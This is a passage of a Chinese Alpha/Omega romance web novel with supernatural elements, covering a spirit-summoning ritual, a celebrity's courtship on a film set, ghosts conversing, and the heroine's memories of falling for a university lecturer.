这点,她在婚前,已经清清楚楚地向关景墨表明了。 关景墨接受她的条件。 商业联姻达成。 从那一刻起,颜千澄就将关景墨视为她的配偶,颜氏的另一个主人。 对外,颜千澄从来没隐瞒过自己已婚。 再讨厌关景墨,也没对别人说过他半句坏话。 拒绝所有追求者。 填写资料时,在“配偶”、“亲属”、“紧急联系人”等栏目,写上关景墨的名字。 在颜氏集团,颜千澄给关景墨一人之下,万人之上的地位。 每次会议,都站在关景墨这边,支持他的决策。 在家里,颜千澄让关景墨住在颜氏祖宅的主人房,将她的私人物品收入自己从小长大的房间。 在她的私人领域外,关景墨想做什么都可以,哪怕把装修风格全换了,把家具全扔掉,养只什么宠物……她都不打算干涉。 奇怪的是关景墨。 婚前,使尽一切手段,死皮赖脸的要嫁她。 婚后,倒是拘谨起来。 在跟她共有的屋子里,也畏畏缩缩的。 住了好几个月,没动任何家具摆设。 除了在他房间里休息,偶尔去书房工作,有客人来时用一下会客室,几乎不踏入别的地方。 把自己当成暂住的客人。 一个冲破了社会对Omega有形无形的限制,权势财富都不缺的商业奇才,费那么大功夫嫁给她,就是为了过这样的生活吗? 颜千澄实在不理解,摇摇头,去散步了。 关景墨呆呆站在原地。 姚甜甜伸手,在他眼前摇啊摇:“老板,回魂了!” 关景墨呆呆的转头看她:“千澄……什么意思?” 姚甜甜忍住翻白眼的冲动,翻译:“她是说,你们是夫妻,你可以把这里当自己家,不用那么客气。” 姚甜甜觉得,自己真是太年轻了,见识太少了。 以前都不知道,做个玄学风水大师,居然还得兼任老板的感情顾问。 以前也不知道,这世上有这么尴尬的夫妻。 看他们相处,能把别人尬得用脚趾抠出个联排别墅。 关景墨呆呆的“哦”了一声。 姚甜甜正要再帮关景墨喊魂。 关景墨狠咬唇内软肉,将泪意强行压下:“正事要紧,先去找那本书,看看上面写的是什么。” 第17章 关景墨带着姚甜甜,走进颜氏祖宅的书房。 姚甜甜忍不住“哇”的感叹一声。 不要怪她见识少,她真没见过哪户人家书房规模这么大的,堪比地级市的图书馆了。 关景墨按颜千澄说的顺序,找到一本书。 姚甜甜凑过去一看。 薄薄的一本小册子,看起来至少有几十年历史了,就算保存得当,也已泛黄残旧。 书上贴着“6,12,130”的编号,正是姚甜甜之前占卜到的数字。 封面上没写书名,但赫然画着一团人形阴影。 “怨灵!”姚甜甜惊呼。 关景墨的心“怦怦怦”剧烈跳动,小心翼翼揭开封面,生怕一个不小心,弄破脆薄的纸张。 书的第一页,画着一张桌子,桌子铺着布,上面放着香炉和几碟东西。 第二页,用几十年前板板正正的印刷字体,印着几行字。 关景墨每个字都认识,但连起来,就不知道是什么意思了。 他看向姚甜甜。 姚甜甜眼睛亮得吓人,呼吸都屏住。 “老板!”她声音发着颤,想尖声高呼,又怕震破眼前的残书,声调被她硬生生压低,听起来极其古怪,“这……这……看起来像是召唤怨灵的仪式和咒语,如果是真的,我们照着做,或许可以召来怨灵,跟它沟通!”—— 第二天,颜千澄继续去片场拍戏。 剧组另外找了个演员演刺客。 导演、道具组、片场保安和桑椹的保镖们从头到尾一路紧盯着,眼睛都不敢移开半寸。 新来的演员也乖觉,主动让片场保安和桑椹的保镖搜身。 还主动拿起道具组递给他的伸缩匕首,刺到自己身上。 刺完后,望向桑椹,讨好地笑。 桑椹扯起嘴角,礼貌地回了个淡得几乎没影的微笑,就低下头,继续看剧本。 片场里很多颇有资历的圈内人,见惯了桑椹这副做派。 这是他身为顶流大牌演员和知名Omega美人的骄矜。 只是…… 众人忍不住看看颜千澄,又看看桑椹,视线在两人之间打转。 昨天,桑椹一大早就向颜千澄献殷勤。 接着桑椹被谋杀,颜千澄英雄救美。 之后,桑椹一直跟在颜千澄身边,谁也劝不走。 晚上,桑椹直播,破天荒的明确表露对颜千澄的好感。 虽然他用的是假设,以及开玩笑的语气,但桑椹身为玉O掌门人,一向以冰清玉洁的形象示人,很注重跟Alpha保持距离。 每次谈起别的Alpha演员,都是一副公事公办的淡然模样。狗仔队们用放大镜找,也找不出丝毫暧昧。 对颜千澄,却是肉眼可见的粗箭头。 众人都以为,娱乐圈里,又要出一对“你们都知道我们在一起了,我们也知道你们知道我们在一起了,但我们就是不承认,对外只说是好朋友”的“秘密”情侣了。 没想到,今天桑椹看见颜千澄,没再急着粘上去,而是很矜持地坐在自己座位上。 众人一边忙着,一边私下交头接耳,讨论得热火朝天。 颜千澄看了桑椹一眼。 她感觉,桑椹好像很累,整个人无精打采,只勉强提着一口气,坚持工作。 颜千澄叹气。 同情是同情。 但…… 颜千澄很早就知道,不是本着一颗善良的心,就会做出善良的事。 考虑到她与桑椹的关系,和现在的形势,她去安慰桑椹,或许能让他打起精神,开心一会儿。 但会给桑椹“她其实很在意我,我还有机会”的错觉。 到最后,只会给桑椹更多的伤害。 不合适。 不能去。 颜千澄闭上眼睛,让化妆师为自己上妆。 一切准备就绪,导演喊“各就各位”,拍昨天没能拍成的刺杀戏。 这次很顺利,一条过。 拍摄任务紧,拍完刺杀戏,剧组忙着换布景,准备拍下一场戏。 颜千澄拿起剧本,准备再看看台词,酝酿一下感情。 感觉到有人靠近,颜千澄抬头。 是桑椹。 他慢慢走到颜千澄身边,默默注视着她,脸上神色复杂。 剧组众人不敢打扰,离他们远远的,但一道道的目光,像探照灯一样“嗖嗖嗖”集中在他们这边。 颜千澄等了一会儿,见桑椹还是看着她不说话,只好问:“怎么了?” 桑椹咬咬水嫩的下唇,眼眸笼上一层薄雾,轻声说:“对不起。” 颜千澄不明白:“你没有对不起我。” 桑椹低下头,看着自己的脚尖。 心里,幼稚的桑椹哭:“对不起,昨晚直播的时候,不敢承认喜欢你。” 世故的桑椹叹气:“你个傻冒!她拒绝了我的表白,我不是她的Omega,根本就不需要承认什么。昨晚那番话,已经太过了!网上已经有人在黑我了!我已经损失很大了!” 幼稚的桑椹哭:“不够不够!她那么好!我应该告诉全世界,我喜欢她!爱她!” 世故的桑椹叹气:“别傻了,图一时爽快,把自己整个职业生涯都赔掉,以后吃什么?西北风?” …… 桑椹傻傻的干站着,颜千澄有点尴尬,转移话题:“昨天那男Alpha,警察局说,这事社会影响大,应该会尽快判决。” 桑椹不关心那个渣。 但颜千澄说到他,想起自己的绿茶计划,桑椹尽力把乱七八糟的情绪收拾好,轻叹:“他也是误入歧途……” 再累,再难过,一跟喜欢的人说话,心里就欢喜,多巴胺蹭蹭冒。 忍不住,想把自己最好的一面呈现出来。 这句叹息,是想表现他的温柔善良宽容大度。 桑椹以前演过的绿茶小白花,被恶毒配角狠狠伤害了,也要为恶毒配角求情的。 桑椹是不理解,但绿茶小白花的对象很吃这一套,不知道颜千澄吃不吃。 接下来想说的东西,令疲累的桑椹也精神一振,他压低声音:“千澄姐姐,你听说过小鬼吗?” 颜千澄脸色古怪:“略有耳闻。” 桑椹神神秘秘:“听说,那男Alpha就养了一只,特别凶的,要定期请法师压制的那种。前段时间他工作多,忙着赚钱,忘了找法师,那东西就失控了,把他弄得神志不清……” 颜千澄“哦”了一声。 桑椹察言观色:“千澄姐姐你不信?” “不信。”颜千澄答。 “圈子里挺多人信的,那谁,那谁,和那谁……”桑椹板着手指,小小声说了几个当红明星的名字。 这是跟喜欢的人分享秘密,拉近彼此的距离。 “我是觉得,宁可信其有,不可信其无,我自己当然不会去请……”桑椹想表现自己的温柔善良明理,“听说,制作小鬼的过程很残忍的,要一边念咒语,一边将婴儿的尸体放在火上烤,烤成小小的一块干尸……” 这话题挺沉重,桑椹说着说着,也难受起来:“听说人死后一段时间,灵魂还未完全脱离躯壳的时候,是有感觉的。被那样烤,得有多疼……亲生父母哪舍得让人那样对待自己的孩子,有些法师就去墓地,偷刚出生就夭折的婴儿尸体……” 颜千澄脸色沉凝。 桑椹学着电影里,总是愿意无条件宽容谅解别人的绿茶小白花,放柔声音:“不过,坏的是用残忍法子制作小鬼的法师,买家可能不知道。有些人觉得,孩子小小年纪就夭折很可怜,就带回家,好好疼爱,让他们感受家庭温暖,顺便让他们保佑自己,双赢。” “假惺惺。”颜千澄厌恶皱眉。 她是不信玄学。 但,小鬼价格不菲,那些肯花高价买的人,显然是信的。 信了,还这样做…… 颜千澄眉头紧蹙:“没有买卖,就没有伤害。按玄学的理论,孩子不幸夭折,如果是真心为他们好,应该超度他们的灵魂,让他们的身体入土为安,而不是炼制他们的尸骨,拘留他们的灵魂,让他们为自己的欲望奔波劳碌,死了都不得安宁。他们只是将自己的快乐和利益,建立在别人的痛苦上罢了,还装好人,蒙骗单纯的孩子。” 话音刚落,颜千澄打了个寒颤。 身后,好像有两股强大的力量,猛然动荡了几下。 这两股力量,都一样的阴冷冰寒。 感觉就像陈年冰窖突然开门,冷风扑到她身上。 颜千澄疑惑回头。 身后,是剧组的布景。 没有什么特别的东西。 奇怪。 桑椹:“……” 原来,无原则无理由宽容谅解别人那一套,千澄姐姐不吃。 失策。 好吧,正好他也不喜欢。 他跟千澄姐姐的某些观念,应该比较接近? 桑椹想了想,决定转变策略,多表现自己对颜千澄的关心:“千澄姐姐,我是觉得,防人之心不可无。咱们不搞旁门左道,靠自己的努力拍电影挣人气,但圈子里有些人就喜欢走捷径,咱们要多加防范。他们可能用邪法夺咱们的气运,他们自己也可能被邪法反噬,发生什么不可预料的意外,到时候谁在他们身边谁倒霉,就像昨天那男Alpha……听说,养小鬼的人,是有几个特征的。一是吃饭时会多留一个座位,摆上一套餐具,那是让小鬼一起吃饭;二是没孩子的人,家里有很多玩具,那是让小鬼玩的;三是家里会特别干净,因为小鬼不喜欢脏……千澄姐姐如果碰上了,可要多加小心……” 桑椹说了一堆。 他说的话,颜千澄不感兴趣,但她的教养,不允许她在同事跟她说话时东张西望。 颜千澄转回头,继续听桑椹唠叨。 身后,阴暗处。 一个孩子模样的阴影长叹一声:“这个姐姐,人挺好的,你真的要杀她?” 怨灵沉默。 小鬼嘻嘻笑:“哎呀呀……舍不得啦?千澄姐姐人好,长得又漂亮,换成是我,也舍不得杀……” 怨灵听不得这种调笑:“她是我仇人的亲生女儿,我怎会舍不得杀?你不是小孩子吗?说的什么混账话!” 小鬼继续笑:“我死了很久了,心理年龄可不小,这种程度的话算什么,以前我还看过前主人跟制片那啥呢。” 怨灵顿了顿,叹气:“你以后,有什么打算?” 小鬼笑不出来了:“能有什么打算,等到力量耗尽,魂飞魄散呗。不知道魂飞魄散痛不痛,会不会比被火烤更痛……” 它觉得自己好惨。 不能就自己惨,得伤害一下别的鬼,小鬼盯着怨灵上下打量:“你剩下的力量,也就够再杀一人吧,杀完也得魂飞魄散,也会很痛。” 怨灵一脸淡漠:“报完仇,我执念了结,魂飞魄散就魂飞魄散吧。” 小鬼:“……” 这只鬼不怕痛,说痛,伤害不到它。 “魂飞魄散后,什么都不剩了,一点痕迹也不会留下来……唉,我们这些人,本来就没在这个世界留下什么痕迹,连名字都没几个人记得……”小鬼试图用别的话伤害怨灵。 怨灵沉默了好一会儿,问:“你叫什么名字?” “啊?”小鬼呆了呆,侧头回忆,突然扭过脸,藏起自己的表情,“我刚出生就死了,没有正式名字……不过,我在妈妈肚子里的时候,听到她叫我贝贝,宝贝的贝。” 怨灵轻声说:“那就叫贝贝吧,挺好听的。贝贝,我记住你的名字了。” 贝贝想哭又想笑:“你也快没了,记住我的名字,又有什么用。” 怨灵淡淡的笑:“能记多久,就记多久吧。” 贝贝缓了好一会儿,转回来,认真注视怨灵:“你叫什么名字?我也帮你记一下吧。能记多久,就记多久。” “我叫谢凡,”怨灵回答,“感谢的谢,平凡的凡。” 第18章 市中心某高档小区大平层。 “米一定要用有机大米,不要转基因的,不能打蜡,农残和重金属要尽可能地少。”姚甜甜一脸严肃,再一次强调。 关景墨点头:“知道了,已通知农场将大米送到第三方检测机构,通过检测后再拿给你。” “水果要用传统品种,不能用杂交的,也不能添加乱七八糟的东西。”姚甜甜继续强调。 关景墨点头:“是,已经通知下去了。” 关景墨从关氏集团喊来的下属站在一边,一脸迷惘。 这女Beta是什么人?怎么比老板还老板? 临时大老板姚甜甜仔细检查桌上的符纸。 关景墨虚心请教:“这东西有问题吗?” “不知道,我对符纸没什么研究,看起来跟书上画的好像差不多。”临时大老板姚甜甜,帅不过三分钟,就漏气了。 关景墨:“……” 算了,半桶水就半桶水吧,找不到一桶水的,有什么办法? 第三方检测机构检测完后,关景墨不放心,又找个检测机构再检测一遍。 一切检测完成时,已经是第二天中午了。 举办召唤仪式,要选个好日子,又拖了三天。 关景墨心急如焚,拿起手机转移注意力。 一看就后悔了。 屏幕里铺天盖地的,很多都是支持桑椹上位的。 【爱情里,不被爱的才是三,桑椹加油!】 【桑椹跟澄澄都长得美,又是同行,志同道合,简直就是天造地设的一对】 【关景墨你不配!!!】 【请退位让贤谢谢】 【关景墨必须死!!!】 …… 前几天,桑椹直播,说如果颜千澄不是英年早婚,可能会倒追她。 有人将这话当成玩笑,一笑置之。 有人骂桑椹小三,黑他踩他。 也有人,也许是桑椹的狂热粉,也许是关景墨的黑子,也许是看热闹不嫌事大的,鼓励桑椹勇敢上,要关景墨让位给他。 关景墨放下手机,眼不见心不烦。 一抬眼,发现姚甜甜正看着他,一脸复杂。 她手里拿着手机。 关景墨:“……” 好吧,姚甜甜刚看到什么,他大概知道了。 “老板,那啥……你不用太担心,从澄澄的八字看,她命带桃花,会有很多很多人喜欢她,但她本人很专一,也念旧,喜欢一个人,就会喜欢很久很久……”姚甜甜试图安慰可怜的老板。 关景墨:“……” 他也不是千澄倾心爱恋的那个人啊。 姚甜甜:“……” 坏了,好像又说错话了。 关景墨望向客厅的落地古钟:“时间差不多了吧,先做正事。” 姚甜甜眼睛一亮,赶紧站起身,按书上的指示,严肃认真地将有机大米、传统品种水果、符纸等东西摆放好。 左看右看,摇头叹气:“缺了怨灵的头发或随身物品。” 关景墨无奈:“这个真的没办法,我连怨灵叫什么名字都不知道,去哪找他的头发或随身物品?” “好吧,其它东西都齐了,我随时可以开始。你呢?准备好了吗?”姚甜甜问。 关景墨回答:“准备好了。” 姚甜甜顿了顿,忍不住再问一遍:“真准备好了?” 姚甜甜跟关景墨相处时间不长,但关景墨是个不错的老板,给钱大方,性格宽容脾气好。第一次见面,她从琳琅满目的饮料中挑了苹果汁,之后每次见面,关景墨都不忘给她准备苹果汁,情商一流。 姚甜甜真不忍心:“生前怨气深重的,才会成为怨灵。等会儿跟怨灵交流,如果一句不慎,惹怒了它,它可能会当场杀掉你。我水平不够,救不了你的……” “我知道,”关景墨平平静静,“我已经立好遗嘱了,在我律师那里。” “遗嘱?”姚甜甜没想到会听到这个词汇。 仔细想想,哦,自己还是太年轻,社会经验太少。 眼前这位,是关氏集团的董事长兼总裁啊,也是颜氏集团董事长颜千澄的合法配偶,名下有庞大的资产。 生死关头,是得立遗嘱。 虽然他也很年轻,跟她差不多大。 这么一想,更不忍心了。 关景墨见姚甜甜迟疑,放柔声音劝:“律师的联系方式,我之前给过你了。他那里还有我私人医生为我出具的检查报告,能证明我突然死亡,与周围人无关。我已经跟他打过招呼,律师费也给了,到时候,如果你有什么麻烦,他会帮你脱罪的,你不用害怕。” 姚甜甜“啊?”了一声,一脸呆愣。 关景墨无语,叹气:“原来你根本没想到,你跟我单独在一起,我突然死了,别人不知道怨灵的存在,很可能会将你当成杀人凶手抓起来的吗?” 姚甜甜惊呼:“我真没想到!” 关景墨奇怪:“那你犹豫什么?” 姚甜甜忍不住大声吼:“我是觉得,你人很好,又年轻有为,本该前途一片光明的。我弄这仪式,很可能会将你推入死地,我不忍心!哪想到那么多弯弯绕绕!” 关景墨又无语片刻:“我谢谢你。这是我自己的选择,你不用不忍心。” 两人一时沉默。 姚甜甜在想,别看人家恋爱脑,人家心眼多心思深啊!在这人面前,总感觉自己跟小孩子一样幼稚。前面的二十年,大概是活到狗身上去了。 关景墨一向有恩必报,姚甜甜不想他死,虽然关景墨并不需要她的不忍心,但他决定破例管一次闲事,给这被人卖了还会帮着数钱的小白法师几句忠告,作为回报:“你做完这一单,酬劳足够你这辈子衣食无忧,以后就不要随便出手了。你水平一般,出手帮人,自己也要担很大风险,不值得。而且……等你以后看多了人,见多了事,你会发现,上天是公平的,很多人的际遇,跟他们的所作所为和所思所想是匹配的。天理昭彰,报应不爽,根本就不需要凡人插手干预。” 可能,这就是他拼命找,也找不到真正有本事的玄学大师的原因吧。 善易者不卜,真正擅长玄学的人,会安心顺应上天的安排,无论顺境逆境,都会坦然直面。 连占卜也不做,更不会贸然出手,干预别人的命运。 害人容易,救人难,歧路易入,正途难觅,什么也不会的骗子和会点东西的邪术师倒有不少。 姚甜甜听得一愣一愣的:“那,澄澄……” 惹上怨灵,年纪轻轻就命悬一线,这际遇,怎么也不能说好吧。 一提到颜千澄,关景墨立刻恋爱脑:“千澄不一样,她只是投胎没投好,摊上那么一对父母,可能是上辈子有什么因缘吧。总之,这辈子的她是极好的。我会拼死帮她,你是她粉丝,也会尽力帮她的,对吧?” 姚甜甜想起跟颜千澄的两次见面相处,那份被尊重、被理解的感觉,点头。 “那我们开始吧。”关景墨说。 姚甜甜“哦”了一声,深呼吸几次,调整状态。 她还有个问题。 关景墨,又是因为什么因缘,死心眼的单方面的爱着颜千澄,就算得不到任何回应,也要拼死帮她呢? 问题在心里转了几圈,姚甜甜最终什么也没说。 她觉得,自己要学着成熟了。这种问出来,会伤害别人的问题,就不问了吧—— 片场角落。 颜千澄遣开闲杂人等,跟桑椹说:“我刚吩咐颜氏集团的公关部拟一份声明,稍后会正式发布。” “什么声明?”桑椹有不祥的预感。 颜千澄回答:“说我跟关景墨婚姻关系稳固,没有婚外情。呼吁网友理智,互联网不是法外之地,不要人身攻击关景墨。” 桑椹愣住。 颜千澄居然出面维护关景墨。 那个不要脸的,靠下药,靠偷靠抢靠长辈施压,才勉强嫁给她的人。 心里泛起强烈的不解与嫉妒,桑椹忍不住说:“我以为,千澄姐姐你讨厌他。” 颜千澄想,原先的确是挺讨厌的。 第一次、第二次看到关景墨被网暴,颜千澄心里对关景墨有气,不想插手,等关景墨自己处理。 关景墨没处理,任由别人骂他。 第三次、第四次、第五次看到关景墨被辱骂,颜千澄心里的气,逐渐被骂没了。 第六次、第七八次看到关景墨被骂…… 而且,关景墨婚后循规蹈矩,并无过错。 这次的事,是她这边引发的,关景墨是受她连累。 颜千澄认为,这次,她有责任出面处理。 是不是还讨厌着关景墨,颜千澄也不清楚,但这是她跟关景墨之间的私事,不必对桑椹说。 要跟他说的,只有……* “关景墨是我的……”颜千澄顿了顿。 “配偶”这个词比较正式,一般不用于口语。 颜千澄是Alpha,关景墨是Omega,她跟他,如果不说别的,单按性别论,是社会主流最推崇的配对。 他们这样的关系,一般来说,向外人提起对方,会说:“他/她是我的Omega/Alpha。” 口语和书面语都能用,得体,亲密,又能体现Alpha与Omega特有的深层连结。 但颜千澄觉得,她跟关景墨,并没有这份亲密。 所谓的Alpha与Omega特有的深层连结,也只是意外有过一次,那是颜千澄不愿回首的记忆。 别的性别配对,提起自己的配偶,会说“爱人”。 所爱之人。 这词也不合适。 犹豫片刻,颜千澄说:“关景墨是我的人,他若无过错,我不会让任何人伤害他。” 桑椹:“……” 关景墨他何德何能! 情绪激荡中,真实的桑椹,挣脱演技精湛的桑椹的束缚,把心里话问了出口:“千澄姐姐,你对关景墨只有责任感,对不对?你用有责任感的自己去联姻,对不喜欢的人好,那你真实的自己,你真实的感情,又该何处安放呢?” 颜千澄脸色一沉。 这段时间,桑椹跟颜千澄一起拍戏,日日长时间相处。 颜千澄心态平稳,待人一直温和有礼。 这是桑椹第一次看见,颜千澄变了脸色。 仿佛逆鳞被触犯。 桑椹能混到今时今日的地位,极是乖觉。 察觉到气氛改变,演技精湛的桑椹立刻把真实的桑椹推入小黑屋,努力冷静下来。 他知道,颜千澄今天主动找他,是为了什么。 不愿跟颜千澄闹僵,桑椹说出颜千澄希望他说的话:“我会跟经纪公司商议,约束一下我的粉丝……” 想了想,来一段免责声明:“但网上黑关景墨的人挺多,不只是个别不理智的粉丝,那些成分复杂的,我这边也没什么好办法……” 颜千澄把突然泛上心头的几段记忆打包封印好,稳了稳情绪,点头微笑:“我理解,谢谢你。” 真实的桑椹在小黑屋里放声痛哭,演技精湛的桑椹也忍不住微微苦笑。 颜千澄看着他:“另外……桑椹,你是一个很好的Omega,希望你早日找到属于自己的幸福。” 桑椹:“……” 以前都不知道,原来收到好人卡,会这么难受。 真实的桑椹在小黑屋里大哭特哭,演技精湛的桑椹勉强笑笑:“我明白的,以后不会再乱说话。千澄姐姐,我现在把心思都放在工作上了……” 他发现,颜千澄热爱电影又敬业,跟颜千澄聊工作,她不会太拒绝,就把话题转到工作上:“今天要拍中毒戏。宠妃中的是一种古代药物,听说中了这药,脸上身上哪里泛红哪里变青,血是喷出来还是涌出来还是流出来,都有规定的,原著里没写,导演有个朋友是这方面的专家,好像是A大的副教授,叫喻什么的,今天会过来现场指导……” 桑椹受过专业训练,就算心里五味杂陈,说起话来,声音依旧温婉柔媚,不愧为久负盛名的Omega美人。 可这温婉柔媚的话语,落入颜千澄耳中,却像响起一个炸.雷,把她一切思绪都炸得七零八落。 喻什么? 喻君辞??? 第19章 混乱中,才刚打包封印的几段记忆,挣脱颜千澄的压制,再次泛上心头。 清晰得就像昨天发生的事一样…… 从小,颜千澄经常听到这样的感叹。 “千澄,你样样优秀,处处完美,真不知道要多美多出色的Omega,才能配得上你。” 要特别美,特别出色的人,才值得她喜欢吗? 遇上喻君辞之前,颜千澄觉得,是吧。 一个原本跟自己毫无瓜葛的人,当然要特别美,特别出色,才值得她把他收入心底,珍而重之,时时惦念啊。 世上有那么多那么多的人,为什么,别的人她没看上,只看上他一个? 当然是因为他特别美,特别出色啊。 在未曾爱上谁之前,颜千澄还认为,跟对方相识相处的过程中,应该要发生什么特别的事,才能让两人之间的感情变成爱情。 比如,因为什么原因,与对方一起陷入险境之中,互相帮助相扶相携,于是这份患难与共的情谊变成爱情。 或是在自己陷入人生低谷,难过痛苦的时候,对方不离不弃安慰陪伴,于是感激变成爱情。 或是对方被什么势力压迫,自己刚好碰上,英雄救美,刚好对方品格能力容貌特别优秀,让自己很欣赏,于是欣赏变成爱情。 …… 从小爱看电影电视剧,博览各式各样爱情故事的颜千澄,对爱情,有种种美丽的幻想。 后来,幻想遭遇现实。 喻君辞,是一个很普通的人。 男beta,人数众多,很普通的性别。 容貌平凡,没有哪里丑,但跟五官精致娇艳的桑椹无法比,甚至不及关景墨俊朗英气,是普普通通,泯然于众人的长相。 在自小集团高管社会名流环绕的颜千澄眼中,他的职业也普通。 颜千澄跟喻君辞相识相处的过程,平平淡淡,从来没发生过什么特别的、轰轰烈烈的事。 完全不符合颜千澄年少时对爱情的想象。 所以,颜千澄过了很久之后,才明白,她喜欢喻君辞。 她明白的时候,已经太晚,无法自拔了。 颜千澄刚上大学时,喻君辞刚当上讲师。 颜千澄学的是经济管理,喻君辞教的是药理学。 不是直属的师生关系,只是颜千澄除了学习本专业的课程外,偶尔会去旁听其它院系的课,于是就遇上了。 那天,颜千澄坐在能容纳二百人的阶梯课室里,看着喻君辞走进来。 他衣着整洁,明显有认真打理过,但衣料一般,款式过时,颜色跟他也不太搭,整个人看上去有点土土的。 双手托着学校配发的笔记本电脑,神态略有些局促。 颜千澄这时已经开始参与家族集团事务了,又自小深受欢迎,去哪都有人献殷勤,见识过各种各样的人,阅历很丰富。 一眼就看出,这位讲师,应该是偏远小地方出身,没什么背景。 这样的人,在这座超级大城市里有很多很多,颜千澄没什么想法,低头翻看课本。 喻君辞走上讲台,放下电脑,站定,向学生简单介绍自己。 他说的是一口标准的国语,几乎听不出口音。 音调柔和,不高不低,语速不紧不慢,在诺大的阶梯教室里,他的声音从前排传到后排,听起来仍字字清晰。 是很适合用来讲课的声音。 颜千澄想,这口国语,这份对语速与音量控制,他肯定下功夫练过。 为了让学生听课听得舒服。 为了成为一个好老师。 他很认真,很努力。 颜千澄心里稍起涟漪,但很快淡去。 因为在这座超级大城市里,认真努力的人,实在太多太多。 然后,喻君辞正式讲课。 他神态里的局促消失了,眼睛里有着神采。 在自己的专业领域里,任何人都会焕发出一些魅力,很正常,颜千澄见得多了。 一整堂课下来,颜千澄还感受到喻君辞的诚挚。 他用心准备的课、偶尔的微笑、对提问学生的耐心温和…… 喻君辞的诚挚,并不是很用力、很明显的那种,而是从心底发出,细雨润春风般,自然含蓄地流露出来。 要跟他相处久了,或者是如颜千澄这般有相当阅历的人,才能发现。 颜千澄感觉到,喻君辞是真心热爱他的工作,用一颗真诚的心,善待他的每一个学生。 哦,这样的人,世上也有很多很多。 初次相遇,颜千澄对喻君辞,真的只起了那么一丁点的好感。 她那时候,刚好对喻君辞教授的课程有兴趣,就继续旁听了几次。 了解渐渐加深,好感慢慢积累。 颜千澄发现,喻君辞衣服鞋子都是普通的牌子,但总是干净整洁的,散发淡淡的洗衣粉香气,衣扣总是系得整整齐齐,一颗不落。 喻君辞的头发,看得出来有细心梳理过,可偶尔会有一小撮呆毛顽强地翘起来。 颜千澄发现,喻君辞很符合古人“谦谦君子,温润如玉”的描述,性情温和宽容,很好说话。 但一扯到他的专业,他就变得很较真很严苛,每一个点都要细细探究清楚。 颜千澄发现,喻君辞偶尔会讲点笑话,试图活跃课堂气氛。 颜千澄每次听到,总是忍不住笑。 不是因为笑话好笑,而是因为笑话好冷。 颜千澄兴趣广泛,很多东西都想学,但往往热情来得快,去得也快。 按她自己估计,应该听几次课,兴头就下去了。 可每个星期,一到时候,颜千澄还是不由自主地坐进那间阶梯课室,出勤率比本专业的学生还要高。 在这个时代,想要获取知识,有很多途径。 可以去图书馆借书,可以上网搜索名校教授讲课视频,以颜千澄的财力,请知名专家对她一对一授课也不成问题。 可颜千澄就是要去听喻君辞的课,风雨无阻。 只想听他讲的课。 后来有一天,颜千澄要参加颜氏集团的商业活动。 活动时间跟喻君辞的课有点重合。 颜千澄忍不住看了几次时间,心里估算着,等结束后赶回去,还能听多久的课。 能在商界闯出名头的,都是人精。 有人发现颜千澄心不在焉,开玩笑问:“千澄今天是不是有约会?哪个Omega这么幸运,被咱们千澄看上啦?” 周围八卦的视线“嗖嗖嗖”地投射过来。 颜千澄赶紧摇头否认。 有个亲近的长辈感叹:“时间过得真快,千澄都成年啦,是该早点找个好Omega了。” 家里有适龄Omega的人纷纷围上来,热情推荐自家孩子。 颜千澄家世优越,本人也特别出色,这样的联姻对象,谁家不想要? 颜千澄的祖母颜龄微微一笑:“我倒觉得,关家那孩子挺好。他跟千澄青梅竹马,一起长大,现在是同班同学,过几年,就能一起毕业了……” 言下之意,到时就能结婚了。 人精们扼腕叹息,看来颜家继承人的婚事,已经内定了,真是便宜关家了。 公共场合,颜千澄不愿公然反驳祖母,心里暗暗盘算,要找个机会,私下跟祖母长谈。 跟祖母说,她不喜欢关景墨,不会跟他结婚。 也不喜欢别的Omega。 她心里喜欢的是…… 是…… 心里突然浮现喻君辞的样子。 穿得土土的,但莫名的有着清风朗月气质,笑容温柔诚挚。 颜千澄愣住。 原来,在不知不觉中,已经喜欢上喻君辞了啊。 已经喜欢到,非君不娶了? 颜千澄想明白时,学校正在举办校运会。 其实颜千澄并不是爱出风头的人,但大部份体育运动,她都擅长,没理由不参加校运会。 既然参加了,当然要全力以赴,这是对竞技、对对手的尊重。 于是,颜千澄参加了自由搏击、短跑、游泳三项比赛,顺利夺得Alpha组的冠军。 婉拒Omega迷弟迷妹递来的水,颜千澄走上颁奖台。 欢呼声震耳欲聋,颜千澄的同学们感叹: “世上居然有那么完美的人,外表学习才艺运动家世样样优秀。” “幸好规定一人只能参加三项比赛,要是她能参加所有比赛,那所有的冠军都得颁给她吧?” “千澄,千澄,看这里,我爱你!” “啊啊啊我要当颜千澄的Omega!” “我才是最适合她的小O啦!” …… 收下奖状,颜千澄礼貌谢过支持她的人,就将喧嚣热闹留在身后,独自来到另一片赛场。 教职工们也有专属的运动会。 三千米长跑,没多少人参加,没多少人爱看,但不知怎么的没被取消,一年又一年顽强地留在校运会的项目。 漫长单调的运动,围观者寥寥,他们把欢呼给了第一名,再留些零星的掌声给明知自己已经输了,但一直不放弃的最后一名。 跑在中间的,通常什么也没有。 喻君辞就是跑在中间的。 颜千澄站在终点,看着他一路跑来。 原来,喜欢一个人,就算什么也不做,只是看着他,脸上的笑容就止不住,心里一阵阵欢喜。 好开心。 好喜欢喻君辞。 喜欢他工作时认真负责的样子,喜欢他有点土土的衣着,喜欢他抹发胶也压制不住的一撮呆毛,喜欢他眼睛里的诚挚,喜欢他标准的国语,喜欢他说的不好笑的笑话,喜欢他温文谦和的气质,喜欢他的成熟稳重,喜欢他偶尔的青涩局促,喜欢他双手托着笔记本电脑走进教室的样子,喜欢他站在讲台前自信明朗的样子,也喜欢他现在一脸勉强却仍在努力坚持的样子…… 喻君辞所有模样,都合她的眼缘。 他的一切一切,无论是好的地方还是不好的地方,她都喜欢。 等喻君辞气喘吁吁跑到面前,颜千澄微微一笑,给他递上水和毛巾。 喻君辞一脸“这是给我的?”的意外表情,顿了顿,没敢接她给的东西,说声“谢谢”,问:“千澄?你怎么在这?” 他教的是大课,有几百个学生,不可能认识所有人。 但颜千澄这样的校园风云人物,哪个老师不认识? 跑完步后,要走一段路,让身体慢慢冷静下来。 颜千澄跟在喻君辞身边,陪着他走。 “我是来看你的”这句回答,在舌尖打转。 可一直以来,颜千澄都是被别人追,从来没追求过人,一时有点不好意思。 几番迟疑后,把话咽下,不答反问:“喻老师怎么选了这冷门项目?你喜欢长跑?” 喻君辞脸上闪过几丝尴尬。 很明显,他是不喜欢长跑的。 颜千澄打量喻君辞。 体型中等略瘦,毫无锻炼的痕迹,皮肤是很少晒太阳的冷白色。 嗯……这人,不要说长跑了,他应该对大部份运动都敬谢不敏,典型的斯文宅男。 颜千澄同情心起:“你……是被抓壮丁的?” 三千米长跑是校运会的传统项目,可一直没多少人愿意报名参加。 